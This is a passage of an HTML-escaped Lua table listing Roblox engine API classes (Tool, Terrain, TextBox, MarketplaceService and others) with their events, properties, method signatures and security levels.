 Arguments = {
 },
 Name = &quot;LoadPlugins&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;stat&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;RemoveStat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;id&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;key1&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value1&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;key2&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value2&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;ReportMeasurement&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;Save&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;SaveFilter&quot;,
 Name = &quot;saveFilter&quot;,
 DefaultValue = &quot;SaveAll&quot;
 }
 },
 Name = &quot;SavePlace&quot;,
 RobloxPlaceSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SaveStats&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ServerSave&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;creatorID&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;creatorType&quot;,
 Type = &quot;CreatorType&quot;
 }
 },
 Name = &quot;SetCreatorID&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;creatorId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;creatorType&quot;,
 Type = &quot;CreatorType&quot;
 }
 },
 Name = &quot;SetCreatorId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;genreRestriction&quot;,
 Type = &quot;GearGenreSetting&quot;
 },
 {
 Name = &quot;allowedGenres&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetGearSettings&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;genre&quot;,
 Type = &quot;Genre&quot;
 }
 },
 Name = &quot;SetGenre&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;seconds&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SetJobsExtendedStatsWindow&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetMessage&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SetMessageBrickCount&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeID&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;robloxPlace&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetPlaceID&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;placeId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;robloxPlace&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetPlaceId&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;buildModeEnabled&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetRemoteBuildMode&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;info&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetScreenshotInfo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetServerSaveUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;info&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetVideoInfo&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Shutdown&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ToggleTools&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;Content&quot;
 }
 },
 Name = &quot;get&quot;,
 deprecated = true,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;HttpGetAsync&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;data&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;HttpPostAsync&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;SaveToRoblox&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Tool = {
 Inherits = &quot;BackpackItem&quot;,
 Events = {
 {
 Name = &quot;Activated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Deactivated&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;Equipped&quot;,
 Arguments = {
 {
 Name = &quot;mouse&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Unequipped&quot;,
 Arguments = {
 }
 }
 },
 ClassName = &quot;Tool&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CanBeDropped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Grip&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;GripForward&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;GripPos&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;GripRight&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;GripUp&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;ToolTip&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 Texture = {
 Inherits = &quot;Decal&quot;,
 Events = {
 },
 ClassName = &quot;Texture&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;StudsPerTileU&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;StudsPerTileV&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 PhysicsSettings = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;PhysicsSettings&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AllowSleep&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreAnchorsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreAwakePartsHighlighted&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreBodyTypesShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreContactPointsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreModelCoordsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreOwnersShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ArePartCoordsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreRegionsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreUnalignedPartsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AreWorldCoordsShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;IsReceiveAgeShown&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ParallelPhysics&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;PhysicsEnvironmentalThrottle&quot;,
 Type = &quot;EnviromentalPhysicsThrottle&quot;
 },
 {
 Name = &quot;ThrottleAdjustTime&quot;,
 Type = &quot;double&quot;
 }
 },
 Methods = {
 }
 },
 Script = {
 Inherits = &quot;BaseScript&quot;,
 Events = {
 },
 ClassName = &quot;Script&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;ProtectedString&quot;,
 Name = &quot;Source&quot;,
 LocalUserSecurity = true
 }
 },
 Methods = {
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;GetHash&quot;,
 RobloxPlaceSecurity = true
 }
 }
 },
 Terrain = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;Terrain&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;Region3int16&quot;,
 Name = &quot;MaxExtents&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;AutowedgeCell&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3int16&quot;
 }
 },
 Name = &quot;AutowedgeCells&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CellCenterToWorld&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;CellCornerToWorld&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Clear&quot;
 },
 {
 ReturnType = &quot;int&quot;,
 Arguments = {
 },
 Name = &quot;CountCells&quot;
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetCell&quot;
 },
 {
 ReturnType = &quot;Tuple&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetWaterCell&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;material&quot;,
 Type = &quot;CellMaterial&quot;
 },
 {
 Name = &quot;block&quot;,
 Type = &quot;CellBlock&quot;
 },
 {
 Name = &quot;orientation&quot;,
 Type = &quot;CellOrientation&quot;
 }
 },
 Name = &quot;SetCell&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;region&quot;,
 Type = &quot;Region3int16&quot;
 },
 {
 Name = &quot;material&quot;,
 Type = &quot;CellMaterial&quot;
 },
 {
 Name = &quot;block&quot;,
 Type = &quot;CellBlock&quot;
 },
 {
 Name = &quot;orientation&quot;,
 Type = &quot;CellOrientation&quot;
 }
 },
 Name = &quot;SetCells&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;z&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;force&quot;,
 Type = &quot;WaterForce&quot;
 },
 {
 Name = &quot;direction&quot;,
 Type = &quot;WaterDirection&quot;
 }
 },
 Name = &quot;SetWaterCell&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;WorldToCell&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;WorldToCellPreferEmpty&quot;
 },
 {
 ReturnType = &quot;Vector3&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;WorldToCellPreferSolid&quot;
 }
 }
 },
 SocialService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;SocialService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;bestFriendUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBestFriendUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;friendUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFriendUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;groupRankUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGroupRankUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;groupRoleUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGroupRoleUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;groupUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetGroupUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;stuffUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPackageContentsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;stuffUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetStuffUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 ReflectionMetadataProperties = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadataProperties&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 PrismPart = {
 Inherits = &quot;BasePart&quot;,
 Events = {
 },
 ClassName = &quot;PrismPart&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Sides&quot;,
 Type = &quot;PrismSides&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 }
 },
 PVAdornment = {
 Inherits = &quot;GuiBase3d&quot;,
 Events = {
 },
 ClassName = &quot;PVAdornment&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Adornee&quot;,
 Type = &quot;Object&quot;
 }
 },
 Methods = {
 }
 },
 TextBox = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 {
 Name = &quot;FocusLost&quot;,
 Arguments = {
 {
 Name = &quot;enterPressed&quot;,
 Type = &quot;bool&quot;
 }
 }
 }
 },
 ClassName = &quot;TextBox&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;ClearTextOnFocus&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Font&quot;,
 Type = &quot;Font&quot;
 },
 {
 Name = &quot;FontSize&quot;,
 Type = &quot;FontSize&quot;
 },
 {
 Name = &quot;MultiLine&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 },
 {
 Type = &quot;Vector2&quot;,
 Name = &quot;TextBounds&quot;,
 readonly = true
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;TextColor&quot;,
 hidden = true
 },
 {
 Name = &quot;TextColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;TextFits&quot;,
 readonly = true
 },
 {
 Name = &quot;TextScaled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextStrokeColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;TextStrokeTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;TextTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;bool&quot;,
 Name = &quot;TextWrap&quot;
 },
 {
 Name = &quot;TextWrapped&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;TextXAlignment&quot;,
 Type = &quot;TextXAlignment&quot;
 },
 {
 Name = &quot;TextYAlignment&quot;,
 Type = &quot;TextYAlignment&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CaptureFocus&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 LocalBackpack = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;LocalBackpack&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;GetOldSchoolBackpack&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;show&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetOldSchoolBackpack&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 KeyframeSequence = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;KeyframeSequence&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Loop&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Priority&quot;,
 Type = &quot;AnimationPriority&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;keyframe&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddKeyframe&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetKeyframes&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;keyframe&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemoveKeyframe&quot;
 }
 }
 },
 FunctionalTest = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FunctionalTest&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Description&quot;,
 Type = &quot;string&quot;
 }
 },
 deprecated = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Error&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Failed&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Pass&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Passed&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;Warn&quot;
 }
 }
 },
 StockSound = {
 Inherits = &quot;Sound&quot;,
 Events = {
 },
 ClassName = &quot;StockSound&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 }
 },
 BillboardGui = {
 Inherits = &quot;LayerCollector&quot;,
 Events = {
 },
 ClassName = &quot;BillboardGui&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Active&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Adornee&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;AlwaysOnTop&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Enabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ExtentsOffset&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;PlayerToHideFrom&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;SizeOffset&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Name = &quot;StudsOffset&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 Feature = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Feature&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;FaceId&quot;,
 Type = &quot;NormalId&quot;
 },
 {
 Name = &quot;InOut&quot;,
 Type = &quot;InOut&quot;
 },
 {
 Name = &quot;LeftRight&quot;,
 Type = &quot;LeftRight&quot;
 },
 {
 Name = &quot;TopBottom&quot;,
 Type = &quot;TopBottom&quot;
 }
 },
 Methods = {
 }
 },
 MarketplaceService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;PromptPurchaseFinished&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;isPurchased&quot;,
 Type = &quot;bool&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;equipIfPurchased&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;currencyType&quot;,
 Type = &quot;CurrencyType&quot;
 }
 },
 Name = &quot;PromptPurchaseRequested&quot;,
 RobloxScriptSecurity = true
 }
 },
 ClassName = &quot;MarketplaceService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;equipIfPurchased&quot;,
 DefaultValue = &quot;true&quot;
 },
 {
 Type = &quot;CurrencyType&quot;,
 Name = &quot;currencyType&quot;,
 DefaultValue = &quot;Default&quot;
 }
 },
 Name = &quot;PromptPurchase&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetPlayerOwnsAssetUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetProductInfoUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;success&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SignalPromptPurchaseFinished&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Dictionary&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetProductInfo&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;PlayerOwnsAsset&quot;
 }
 }
 },
 ScriptInformationProvider = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ScriptInformationProvider&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;access&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAccessKey&quot;,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;url&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetUrl&quot;,
 LocalUserSecurity = true
 }
 }
 },
 Team = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Team&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AutoAssignable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;AutoColorCharacters&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Score&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 }
 },
 Methods = {
 }
 },
 GuiButton = {
 Inherits = &quot;GuiObject&quot;,
 Events = {
 {
 Name = &quot;MouseButton1Click&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;MouseButton1Down&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton1Up&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton2Click&quot;,
 Arguments = {
 }
 },
 {
 Name = &quot;MouseButton2Down&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseButton2Up&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;GuiButton&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;AutoButtonColor&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Modal&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Selected&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Style&quot;,
 Type = &quot;ButtonStyle&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;verb&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetVerb&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 JointsService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;JointsService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearJoinAfterMoveJoints&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CreateJoinAfterMoveJoints&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;joinInstance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SetJoinAfterMoveInstance&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;joinTarget&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SetJoinAfterMoveTarget&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ShowPermissibleJoints&quot;
 }
 }
 },
 NetworkPeer = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;NetworkPeer&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;limit&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetOutgoingKBPSLimit&quot;,
 LocalUserSecurity = true
 }
 }
 },
 AdvancedDragger = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;AdvancedDragger&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ReflectionMetadata = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;ReflectionMetadata&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GuiBase = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;GuiBase&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 BodyGyro = {
 Inherits = &quot;BodyMover&quot;,
